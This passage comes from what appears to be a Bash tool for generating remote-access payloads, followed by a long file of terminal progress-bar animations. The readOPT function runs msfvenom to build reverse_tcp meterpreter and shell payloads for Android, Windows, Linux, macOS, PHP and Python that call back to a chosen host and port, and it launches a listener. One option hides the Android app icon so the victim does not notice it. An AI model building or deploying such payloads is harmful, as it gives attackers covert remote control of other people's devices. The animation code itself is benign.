"${C4}—————${C0}———————————————————${R0} \r" 278 | sleeptime 279 | printf "${C4}——————${C0}——————————————————${R0} \r" 280 | sleeptime 281 | printf "${C4}———————${C0}—————————————————${R0} \r" 282 | sleeptime 283 | printf "${C4}————————${C0}————————————————${R0} \r" 284 | sleeptime 285 | printf "${C4}—————————${C0}———————————————${R0} \r" 286 | sleeptime 287 | printf "${C4}——————————${C0}——————————————${R0} \r" 288 | sleeptime 289 | printf "${C4}———————————${C0}—————————————${R0} \r" 290 | sleeptime 291 | printf "${C4}————————————${C0}————————————${R0} \r" 292 | sleeptime 293 | printf "${C4}—————————————${C0}———————————${R0} \r" 294 | sleeptime 295 | printf "${C4}——————————————${C0}——————————${R0} \r" 296 | sleeptime 297 | printf "${C4}———————————————${C0}—————————${R0} \r" 298 | sleeptime 299 | printf "${C4}————————————————${C0}————————${R0} \r" 300 | sleeptime 301 | printf "${C4}—————————————————${C0}———————${R0} \r" 302 | sleeptime 303 | printf "${C4}——————————————————${C0}——————${R0} \r" 304 | sleeptime 305 | printf "${C4}———————————————————${C0}—————${R0} \r" 306 | sleeptime 307 | printf "${C4}————————————————————${C0}————${R0} \r" 308 | sleeptime 309 | printf "${C4}—————————————————————${C0}———${R0} \r" 310 | sleeptime 311 | printf "${C4}——————————————————————${C0}——${R0} \r" 312 | sleeptime 313 | printf "${C4}————————————————————————${R0} \r" sleeptime 314 | } 315 | 316 | HIDE(){ echo -en "\033[?25l";} 317 | NORM(){ echo -en "\033[?12l\033[?25h";} 318 | C1="\e[92m" 319 | C2="\e[0m" 320 | 321 | spinner() { 322 | local pid=$! 323 | local delay=0.0350 324 | 325 | while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do 326 | for progressbar in progress 327 | do 328 | HIDE 329 | ${progressbar[@]} 330 | sleep $delay 331 | done 332 | done 333 | echo -e "${g0SIGN} payload saved to ${HOME}/${NDIR}" 334 | NORM printf "Complete ...! \n" 335 | } 336 | 337 | readOPT() { 338 | if [[ $input == "1" ]] 339 | then 340 | ( msfvenom -p android/meterpreter/reverse_tcp lhost=$lhost lport=$fport R > $HOME/$NDIR 341 | ) &> /dev/null & spinner 342 | listenerASK 343 | meterpreter "$android_tcp" 344 | 345 | elif [[ $input == "2" ]] 346 | then 347 | ( msfvenom -p android/meterpreter/reverse_tcp AndroidHideAppIcon=true AndroidMeterpreterDebug=true AndroidWakelock=true lhost=$lhost lport=$fport -o $HOME/$NDIR 348 | ) &> /dev/null & spinner 349 | listenerASK 350 | meterpreter "$android_tcp" 351 | 352 | elif [[ $input == "3" ]] 353 | then 354 | ( msfvenom -p windows/meterpreter/reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 355 | ) &> /dev/null & spinner 356 | listenerASK 357 | meterpreter "$windows_tcp" 358 | 359 | elif [[ $input == "4" ]] 360 | then 361 | ( msfvenom linux/x86/meterpreter/reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 362 | ) &> /dev/null & spinner 363 | listenerASK 364 | meterpreter "$linux_x86_tcp" 365 | 366 | elif [[ $input == "5" ]] 367 | then 368 | ( msfvenom linux/x64/meterpreter/reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 369 | ) &> /dev/null & spinner 370 | listenerASK 371 | meterpreter "$linux_x64_tcp" 372 | 373 | elif [[ $input == "6" ]] 374 | then 375 | ( msfvenom -p osx/x86/shell_reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 376 | ) &> /dev/null & spinner 377 | listenerASK 378 | meterpreter "$mac_x86_tcp" 379 | 380 | elif [[ $input == "7" ]] 381 | then 382 | ( msfvenom -p osx/x64/shell_reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 383 | ) &> /dev/null & spinner 384 | listenerASK 385 | meterpreter "$mac_x64_tcp" 386 | 387 | elif [[ $input == "8" ]] 388 | then 389 | ( msfvenom -p php/meterpreter/reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 390 | ) &> /dev/null & spinner 391 | listenerASK 392 | meterpreter "$php_tcp" 393 | 394 | elif [[ $input == "9" ]] 395 | then 396 | ( msfvenom -p python/meterpreter/reverse_tcp lhost=$lhost lport=$fport -o $HOME/$NDIR 397 | ) &> /dev/null & spinner 398 | listenerASK 399 | meterpreter "$python_tcp" 400 | fi 401 | } 402 | 403 | readOPT 404 | 405 | rm resource &> /dev/null 406 | -------------------------------------------------------------------------------- /assets/programs/animation.psf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | 4 | CL1="\e[0;1;38;2;66;133;244m" 5 | CL2="\e[1;38;2;66;133;244m" 6 | CL3="\e[0;1;48;2;66;133;244m" 7 | CL4='\e[0;38;2;220;255;255m' 8 | CL5='\e[0;48;2;220;255;255m' 9 | CL6='\e[48;2;220;255;255m' 10 | AL1="${CL2}${CL6}" 11 | AL2="${CL2}${CL4}" 12 | A1="\e[1;38;2;0;200;118m" 13 | A2="\e[0;38;2;220;255;255m" 14 | #SLEEP=$"sleep 0.03" 15 | 16 | G2="\e[1;92m" 17 | R0="\e[0m" 18 | 19 | HIDE(){ echo -en "\033[?25l";} 20 | NORM(){ echo -en "\033[?12l\033[?25h";} 21 | 22 | unset progress 23 | 24 | __cmd__() 25 | { 26 | $1 27 | } 28 | 29 | __loading__() 30 | { 31 | sleep 2 32 | } 33 | 34 | __sw__() 35 | { 36 | sleep 0.01 37 | } 38 | 39 | __sw2__() 40 | { 41 | sleep 0.02 42 | } 43 | 44 | __rsw__() 45 | { 46 | s=$(shuf -i 0-3 -n 1) 47 | if [[ $s == 0 ]] 48 | then 49 | s=1 50 | fi 51 | 52 | sleep ${s} 53 | } 54 | 55 | __wait__() 56 | { 57 | sleep $1 58 | } 59 | 60 | __hide__() 61 | { 62 | printf "\r \r" 63 | } 64 | 65 | __print__() 66 | { 67 | printf "$1\n" 68 | } 69 | 70 | text-animation() 71 | { 72 | str="${@:2}" 73 | 74 | while [ ${#str} -gt 0 ]; do 75 | next=${str#?} 76 | printf "${str%$next}" 77 | str=$next 78 | sleep $1 79 | done 80 | echo 81 | } 82 | 83 | progress-bar() 84 | { 85 | 86 | SLEEP=$2 87 | PROG=$3 88 | TEXT=$4 89 | 90 | if [[ $PROG == "prog:1" ]] 91 | then 92 | progress() { 93 | printf "\r${R0}•••${R0} $TEXT" 94 | sleep 0.20 95 | printf "\r${R0}${G2}⦁${R0}•• $TEXT" 96 | sleep 0.10 97 | printf "\r${R0}•${G2}⦁${R0}• $TEXT" 98 | sleep 0.10 99 | printf "\r${R0}••${G2}⦁${R0} $TEXT" 100 | sleep 0.10 101 | printf "\r${R0}•••${R0} $TEXT" 102 | sleep 0.20 103 | } 104 | 105 | elif [[ $PROG == "prog:2" ]] 106 | then 107 | progress() { 108 | HIDE 109 | sleep $SLEEP 110 | printf "${A2}————————————————————————${R0} $TEXT \r" 111 | sleep $SLEEP 112 | printf "${A1}—${A2}———————————————————————${R0} $TEXT \r" 113 | sleep $SLEEP 114 | printf "${A1}——${A2}——————————————————————${R0} $TEXT \r" 115 | sleep $SLEEP 116 | printf "${A1}———${A2}—————————————————————${R0} $TEXT \r" 117 | sleep $SLEEP 118 | printf "${A1}————${A2}————————————————————${R0} $TEXT \r" 119 | sleep $SLEEP 120 | printf "${A1}—————${A2}———————————————————${R0} $TEXT \r" 121 | sleep $SLEEP 122 | printf "${A1}——————${A2}——————————————————${R0} $TEXT \r" 123 | sleep $SLEEP 124 | printf "${A1}———————${A2}—————————————————${R0} $TEXT \r" 125 | sleep $SLEEP 126 | printf "${A1}————————${A2}————————————————${R0} $TEXT \r" 127 | sleep $SLEEP 128 | printf "${A1}—————————${A2}———————————————${R0} $TEXT \r" 129 | sleep $SLEEP 130 | printf "${A1}——————————${A2}——————————————${R0} $TEXT \r" 131 | sleep $SLEEP 132 | printf "${A1}———————————${A2}—————————————${R0} $TEXT \r" 133 | sleep $SLEEP 134 | printf "${A1}————————————${A2}————————————${R0} $TEXT \r" 135 | sleep $SLEEP 136 | printf "${A1}—————————————${A2}———————————${R0} $TEXT \r" 137 | sleep $SLEEP 138 | printf "${A1}——————————————${A2}——————————${R0} $TEXT \r" 139 | sleep $SLEEP 140 | printf "${A1}———————————————${A2}—————————${R0} $TEXT \r" 141 | sleep $SLEEP 142 | printf "${A1}————————————————${A2}————————${R0} $TEXT \r" 143 | sleep $SLEEP 144 | printf "${A1}—————————————————${A2}———————${R0} $TEXT \r" 145 | sleep $SLEEP 146 | printf "${A1}——————————————————${A2}——————${R0} $TEXT \r" 147 | sleep $SLEEP 148 | printf "${A1}———————————————————${A2}—————${R0} $TEXT \r" 149 | sleep $SLEEP 150 | printf "${A1}————————————————————${A2}————${R0} $TEXT \r" 151 | sleep $SLEEP 152 | printf "${A1}—————————————————————${A2}———${R0} $TEXT \r" 153 | sleep $SLEEP 154 | printf "${A1}——————————————————————${A2}——${R0} $TEXT \r" 155 | sleep $SLEEP 156 | printf "${A1}———————————————————————${A2}—${R0} $TEXT \r" 157 | sleep $SLEEP 158 | printf "${A1}————————————————————————${R0} $TEXT \r" 159 | sleep $SLEEP 160 | printf "${A2}—${A1}———————————————————————${R0} $TEXT \r" 161 | sleep $SLEEP 162 | printf "${A2}——${A1}——————————————————————${R0} $TEXT \r" 163 | sleep $SLEEP 164 | printf "${A2}———${A1}—————————————————————${R0} $TEXT \r" 165 | sleep $SLEEP 166 | printf "${A2}————${A1}————————————————————${R0} $TEXT \r" 167 | sleep $SLEEP 168 | printf "${A2}—————${A1}———————————————————${R0} $TEXT \r" 169 | sleep $SLEEP 170 | printf "${A2}——————${A1}——————————————————${R0} $TEXT \r" 171 | sleep $SLEEP 172 | printf "${A2}———————${A1}—————————————————${R0} $TEXT \r" 173 | sleep $SLEEP 174 | printf "${A2}————————${A1}————————————————${R0} $TEXT \r" 175 | sleep $SLEEP 176 | printf "${A2}—————————${A1}———————————————${R0} $TEXT \r" 177 | sleep $SLEEP 178 | printf "${A2}——————————${A1}——————————————${R0} $TEXT \r" 179 | sleep $SLEEP 180 | printf "${A2}———————————${A1}—————————————${R0} $TEXT \r" 181 | sleep $SLEEP 182 | printf "${A2}————————————${A1}————————————${R0} $TEXT \r" 183 | sleep $SLEEP 184 | printf "${A2}—————————————${A1}———————————${R0} $TEXT \r" 185 | sleep $SLEEP 186 | printf "${A2}——————————————${A1}——————————${R0} $TEXT \r" 187 | sleep $SLEEP 188 | printf "${A2}———————————————${A1}—————————${R0} $TEXT \r" 189 | sleep $SLEEP 190 | printf "${A2}————————————————${A1}————————${R0} $TEXT \r" 191 | sleep $SLEEP 192 | printf "${A2}—————————————————${A1}———————${R0} $TEXT \r" 193 | sleep $SLEEP 194 | printf "${A2}——————————————————${A1}——————${R0} $TEXT \r" 195 | sleep $SLEEP 196 | printf "${A2}———————————————————${A1}—————${R0} $TEXT \r" 197 | sleep $SLEEP 198 | printf "${A2}————————————————————${A1}————${R0} $TEXT \r" 199 | sleep $SLEEP 200 | printf "${A2}—————————————————————${A1}———${R0} $TEXT \r" 201 | sleep $SLEEP 202 | printf "${A2}——————————————————————${A1}——${R0} $TEXT \r" 203 | sleep $SLEEP 204 | printf "${A2}———————————————————————${A1}—${R0} $TEXT \r" 205 | sleep $SLEEP 206 | printf "${A2}————————————————————————${R0} $TEXT \r" 207 | sleep $SLEEP 208 | } 209 | 210 | elif [[ $PROG == "prog:3" ]] 211 | then 212 | progress() 213 | { 214 | HIDE 215 | sleep $SLEEP 216 | printf "$TEXT ${C2}▇■■■■■■■■${R0} \r" 217 | sleep $SLEEP 218 | printf "$TEXT ${C2}■▇■■■■■■■${R0} \r" 219 | sleep $SLEEP 220 | printf "$TEXT ${C2}■■▇■■■■■■${R0} \r" 221 | sleep $SLEEP 222 | printf "$TEXT ${C2}■■■▇■■■■■${R0} \r" 223 | sleep $SLEEP 224 | printf "$TEXT ${C2}■■■■▇■■■■${R0} \r" 225 | sleep $SLEEP 226 | printf "$TEXT ${C2}■■■■■▇■■■${R0} \r" 227 | sleep $SLEEP 228 | printf "$TEXT ${C2}■■■■■■▇■■${R0} \r" 229 | sleep $SLEEP 230 | printf "$TEXT ${C2}■■■■■■■▇■${R0} \r" 231 | sleep $SLEEP 232 | printf "$TEXT ${C2}■■■■■■■■▇${R0} \r" 233 | sleep $SLEEP 234 | # printf "$TEXT ${C2}■■■■■■■■▇${R0} \r" 235 | #sleep $SLEEP 236 | printf "$TEXT ${C2}■■■■■■■▇■${R0} \r" 237 | sleep $SLEEP 238 | printf "$TEXT ${C2}■■■■■■▇■■${R0} \r" 239 | sleep $SLEEP 240 | printf "$TEXT ${C2}■■■■■▇■■■${R0} \r" 241 | sleep $SLEEP 242 | printf "$TEXT ${C2}■■■■▇■■■■${R0} \r" 243 | sleep $SLEEP 244 | printf "$TEXT ${C2}■■■▇■■■■■${R0} \r" 245 | sleep $SLEEP 246 | printf "$TEXT ${C2}■■▇■■■■■■${R0} \r" 247 | sleep $SLEEP 248 | printf "$TEXT ${C2}■▇■■■■■■■${R0} \r" 249 | sleep $SLEEP 250 | printf "$TEXT ${C2}▇■■■■■■■■${R0} \r" 251 | #sleep $SLEEP 252 | } 253 | 254 | elif [[ $PROG == "prog:4" ]] 255 | then 256 | progress() 257 | { 258 | HIDE 259 | printf "$TEXT ${R1}${C2}⠋${R0} \r" 260 | sleep 0.05 261 | printf "$TEXT ${R1}${C2}⠙${R0} \r" 262 | sleep 0.05 263 | printf "$TEXT ${R1}${C2}⠹${R0} \r" 264 | sleep 0.05 265 | printf "$TEXT ${R1}${C2}⠼${R0} \r" 266 | sleep 0.05 267 | printf "$TEXT ${R1}${C2}⠴${R0} \r" 268 | sleep 0.05 269 | printf "$TEXT ${R1}${C2}⠦${R0} \r" 270 | sleep 0.05 271 | printf "$TEXT ${R1}${C2}⠧${R0} \r" 272 | sleep 0.05 273 | printf "$TEXT ${R1}${C2}⠇${R0} \r" 274 | sleep 0.05 275 | printf "$TEXT ${R1}${C2}⠏${R0} \r" 276 | sleep 0.05 277 | } 278 | 279 | elif [[ $PROG == "prog:5" ]] 280 | then 281 | progress() 282 | { 283 | HIDE 284 | printf "${A2}—————————————————————————${R0} $TEXT \r" 285 | sleep $SLEEP 286 | printf "${A1}—${A2}————————————————————————${R0} $TEXT \r" 287 | sleep $SLEEP 288 | printf "${A1}——${A2}———————————————————————${R0} $TEXT \r" 289 | sleep $SLEEP 290 | printf "${A1}———${A2}——————————————————————${R0} $TEXT \r" 291 | sleep $SLEEP 292 | printf "${A1}————${A2}—————————————————————${R0} $TEXT \r" 293 | sleep $SLEEP 294 | printf "${A1}—————${A2}————————————————————${R0} $TEXT \r" 295 | sleep $SLEEP 296 | printf "${A1}——————${A2}———————————————————${R0} $TEXT \r" 297 | sleep $SLEEP 298 | printf "${A1}———————${A2}——————————————————${R0} $TEXT \r" 299 | sleep $SLEEP 300 | printf "${A1}————————${A2}—————————————————${R0} $TEXT \r" 301 | sleep $SLEEP 302 | printf "${A2}—${A1}————————${A2}————————————————${R0} $TEXT \r" 303 | sleep $SLEEP 304 | printf "${A2}——${A1}————————${A2}———————————————${R0} $TEXT \r" 305 | sleep $SLEEP 306 | printf "${A2}———${A1}————————${A2}——————————————${R0} $TEXT \r" 307 | sleep $SLEEP 308 | printf "${A2}————${A1}————————${A2}—————————————${R0} $TEXT \r" 309 | sleep $SLEEP 310 | printf "${A2}—————${A1}————————${A2}————————————${R0} $TEXT \r" 311 | sleep $SLEEP 312 | printf "${A2}——————${A1}————————${A2}———————————${R0} $TEXT \r" 313 | sleep $SLEEP 314 | printf "${A2}———————${A1}————————${A2}——————————${R0} $TEXT \r" 315 | sleep $SLEEP 316 | printf "${A2}————————${A1}————————${A2}—————————${R0} $TEXT \r" 317 | sleep $SLEEP 318 | printf "${A2}—————————${A1}————————${A2}————————${R0} $TEXT \r" 319 | sleep $SLEEP 320 | printf "${A2}——————————${A1}————————${A2}———————${R0} $TEXT \r" 321 | sleep $SLEEP 322 | printf "${A2}———————————${A1}————————${A2}——————${R0} $TEXT \r" 323 | sleep $SLEEP 324 | printf "${A2}————————————${A1}————————${A2}—————${R0} $TEXT \r" 325 | sleep $SLEEP 326 | printf "${A2}—————————————${A1}————————${A2}————${R0} $TEXT \r" 327 | sleep $SLEEP 328 | printf "${A2}——————————————${A1}————————${A2}———${R0} $TEXT \r" 329 | sleep $SLEEP 330 | printf "${A2}———————————————${A1}————————${A2}——${R0} $TEXT \r" 331 | sleep $SLEEP 332 | printf "${A2}————————————————${A1}————————${A2}—${R0} $TEXT \r" 333 | sleep $SLEEP 334 | printf "${A2}—————————————————${A1}————————${A2}${R0} $TEXT \r" 335 | sleep $SLEEP 336 | printf "${A2}——————————————————${A1}———————${R0} $TEXT \r" 337 | sleep $SLEEP 338 | printf "${A2}———————————————————${A1}——————${R0} $TEXT \r" 339 | sleep $SLEEP 340 | printf "${A2}————————————————————${A1}—————${R0} $TEXT \r" 341 | sleep $SLEEP 342 | printf "${A2}—————————————————————${A1}————${R0} $TEXT \r" 343 | sleep $SLEEP 344 | printf "${A2}——————————————————————${A1}———${R0} $TEXT \r" 345 | sleep $SLEEP 346 | printf "${A2}———————————————————————${A1}——${R0} $TEXT \r" 347 | sleep $SLEEP 348 | printf "${A2}————————————————————————${A1}—${R0} $TEXT \r" 349 | sleep $SLEEP 350 | printf "${A2}—————————————————————————${A1}${R0} $TEXT \r" 351 | sleep $SLEEP 352 | } 353 | 354 | elif [[ $PROG == "prog:6" ]] 355 | then 356 | progress() 357 | { 358 | HIDE 359 | printf "${A2}━━━━━━━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 360 | sleep $SLEEP 361 | printf "${A1}━${A2}━━━━━━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 362 | sleep $SLEEP 363 | printf "${A1}━━${A2}━━━━━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 364 | sleep $SLEEP 365 | printf "${A1}━━━${A2}━━━━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 366 | sleep $SLEEP 367 | printf "${A1}━━━━${A2}━━━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 368 | sleep $SLEEP 369 | printf "${A1}━━━━━${A2}━━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 370 | sleep $SLEEP 371 | printf "${A1}━━━━━━${A2}━━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 372 | sleep $SLEEP 373 | printf "${A1}━━━━━━━${A2}━━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 374 | sleep $SLEEP 375 | printf "${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━━━━${R0} $TEXT \r" 376 | sleep $SLEEP 377 | printf "${A2}━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━━━${R0} $TEXT \r" 378 | sleep $SLEEP 379 | printf "${A2}━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━━${R0} $TEXT \r" 380 | sleep $SLEEP 381 | printf "${A2}━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━${R0} $TEXT \r" 382 | sleep $SLEEP 383 | printf "${A2}━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━${R0} $TEXT \r" 384 | sleep $SLEEP 385 | printf "${A2}━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━${R0} $TEXT \r" 386 | sleep $SLEEP 387 | printf "${A2}━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━${R0} $TEXT \r" 388 | sleep $SLEEP 389 | printf "${A2}━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━${R0} $TEXT \r" 390 | sleep $SLEEP 391 | printf "${A2}━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━${R0} $TEXT \r" 392 | sleep $SLEEP 393 | printf "${A2}━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━${R0} $TEXT \r" 394 | sleep $SLEEP 395 | printf "${A2}━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━${R0} $TEXT \r" 396 | sleep $SLEEP 397 | printf "${A2}━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━${R0} $TEXT \r" 398 | sleep $SLEEP 399 | printf "${A2}━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━${R0} $TEXT \r" 400 | sleep $SLEEP 401 | printf "${A2}━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━${R0} $TEXT \r" 402 | sleep $SLEEP 403 | printf "${A2}━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━${R0} $TEXT \r" 404 | sleep $SLEEP 405 | printf "${A2}━━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━${R0} $TEXT \r" 406 | sleep $SLEEP 407 | printf "${A2}━━━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━${R0} $TEXT \r" 408 | sleep $SLEEP 409 | printf "${A2}━━━━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}${R0} $TEXT \r" 410 | sleep $SLEEP 411 | printf "${A2}━━━━━━━━━━━━━━━━━━${A1}━━━━━━━${R0} $TEXT \r" 412 | sleep $SLEEP 413 | printf "${A2}━━━━━━━━━━━━━━━━━━━${A1}━━━━━━${R0} $TEXT \r" 414 | sleep $SLEEP 415 | printf "${A2}━━━━━━━━━━━━━━━━━━━━${A1}━━━━━${R0} $TEXT \r" 416 | sleep $SLEEP 417 | printf "${A2}━━━━━━━━━━━━━━━━━━━━━${A1}━━━━${R0} $TEXT \r" 418 | sleep $SLEEP 419 | printf "${A2}━━━━━━━━━━━━━━━━━━━━━━${A1}━━━${R0} $TEXT \r" 420 | sleep $SLEEP 421 | printf "${A2}━━━━━━━━━━━━━━━━━━━━━━━${A1}━━${R0} $TEXT \r" 422 | sleep $SLEEP 423 | printf "${A2}━━━━━━━━━━━━━━━━━━━━━━━━${A1}━${R0} $TEXT \r" 424 | sleep $SLEEP 425 | printf "${A2}━━━━━━━━━━━━━━━━━━━━━━━━━${A1}${R0} $TEXT \r" 426 | sleep $SLEEP 427 | } 428 | 429 | 430 | elif [[ $PROG == "prog:7" ]] 431 | then 432 | HIDE 433 | progress() { 434 | printf "${CL4}${CL5} ${CL4}${R0} $TEXT \r" 435 | sleep $SLEEP 436 | printf "${CL2}${CL3}${CL5} ${CL4}${R0} $TEXT \r" 437 | sleep $SLEEP 438 | printf "${CL2}${CL3}${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 439 | sleep $SLEEP 440 | printf "${CL2}${CL3} ${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 441 | sleep $SLEEP 442 | printf "${CL2}${CL3} ${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 443 | sleep $SLEEP 444 | printf "${CL2}${CL3} ${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 445 | sleep $SLEEP 446 | printf "${CL2}${CL3} ${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 447 | sleep $SLEEP 448 | printf "${CL2}${CL3} ${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 449 | sleep $SLEEP 450 | printf "${CL2}${CL3} ${AL1}${CL6}${CL5} ${CL4}${R0} $TEXT \r" 451 | sleep $SLEEP 452 | printf "${CL4}${CL5}${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 453 | sleep $SLEEP 454 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 455 | sleep $SLEEP 456 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 457 | sleep $SLEEP 458 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 459 | sleep $SLEEP 460 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 461 | sleep $SLEEP 462 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 463 | sleep $SLEEP 464 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 465 | sleep $SLEEP 466 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 467 | sleep $SLEEP 468 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 469 | sleep $SLEEP 470 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 471 | sleep $SLEEP 472 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 473 | sleep $SLEEP 474 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 475 | sleep $SLEEP 476 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 477 | sleep $SLEEP 478 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 479 | sleep $SLEEP 480 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL6} ${CL4}${R0} $TEXT \r" 481 | sleep $SLEEP 482 | printf "${CL4}${CL5} ${CL2}${CL3} ${AL1}${CL4}${R0} $TEXT \r" 483 | sleep $SLEEP 484 | printf "${CL4}${CL5} ${CL2}${CL3} ${CL1}${CL4}${R0} $TEXT \r" 485 | sleep $SLEEP 486 | printf "${CL4}${CL5} ${CL2}${CL3} ${CL1}${R0} $TEXT \r" 487 | sleep $SLEEP 488 | printf "${CL4}${CL5} ${CL2}${CL3} ${CL1}${R0} $TEXT \r" 489 | sleep $SLEEP 490 | printf "${CL4}${CL5} ${CL2}${CL3} ${CL1}${R0} $TEXT \r" 491 | sleep $SLEEP 492 | printf "${CL4}${CL5} ${CL2}${CL3} ${CL1}${R0} $TEXT \r" 493 | sleep $SLEEP 494 | printf "${CL4}${CL5} ${CL2}${CL3} ${CL1}${R0} $TEXT \r" 495 | sleep $SLEEP 496 | printf "${CL4}${CL5} ${CL2}${CL3}${CL1}${R0} $TEXT \r" 497 | sleep $SLEEP 498 | printf "${CL4}${CL5} ${CL4}${R0} $TEXT \r" 499 | sleep $SLEEP 500 | printf "${CL4}${CL5} ${CL4}${CL2}${R0} $TEXT \r" 501 | sleep $SLEEP 502 | } 503 | 504 | fi 505 | 506 | spinner() { 507 | local pid=$! 508 | local delay=$SLEEP 509 | 510 | while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do 511 | for progressbar in progress 512 | do 513 | ${progressbar[@]} #printf $((progressbar)) 514 | sleep $delay 515 | done 516 | done 517 | NORM 518 | } 519 | 520 | ( $1 ) &> /dev/null & spinner 521 | 522 | if [[ $5 == "-r" ]] 523 | then 524 | printf "\r \r" 525 | else 526 | printf "\r${b0SIGN} $TEXT\n" 527 | fi 528 | } 529 | 530 | #( sleep 4 ) &> /dev/null & spinner "Wait..." 531 | 532 | --------------------------------------------------------------------------------